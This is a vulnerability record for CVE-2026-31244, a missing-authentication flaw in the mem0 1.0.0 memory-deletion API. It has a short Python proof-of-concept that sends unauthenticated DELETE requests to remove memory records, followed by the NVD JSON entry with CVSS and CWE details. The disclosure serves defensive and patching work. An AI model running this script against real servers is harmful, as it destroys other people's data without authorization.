CVE-2026-31244

import requests # Target URL of the vulnerable mem0 server target_url = "http://target-server:port/memories/{memory_id}" # The ID of the memory to delete memory_id = "12345" # Construct the full URL exploit_url = target_url.replace("{memory_id}", memory_id) try: # Send unauthenticated DELETE request response = requests.delete(exploit_url) # Check if the deletion was successful if response.status_code == 200 or response.status_code == 204: print(f"[+] Success: Memory with ID {memory_id} has been deleted.") else: print(f"[-] Failed: Server returned status code {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-31244", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:52.897", "lastModified": "2026-05-14T18:38:33.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mem0 1.0.0 server lacks authentication and authorization controls for its memory deletion API endpoint (DELETE /memories/{memory_id}). The endpoint allows unauthenticated users to delete arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated DELETE requests to remove any memory entry from the database, leading to unauthorized data loss and potential denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mem0:mem0:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CBD5639B-9888-4EF9-8E41-CC05DBA4720E"}]}]}], "references": [{"url": "https://github.com/mem0ai/mem0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31244-35d1e1393188818b8039c50adc75996c", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}]}}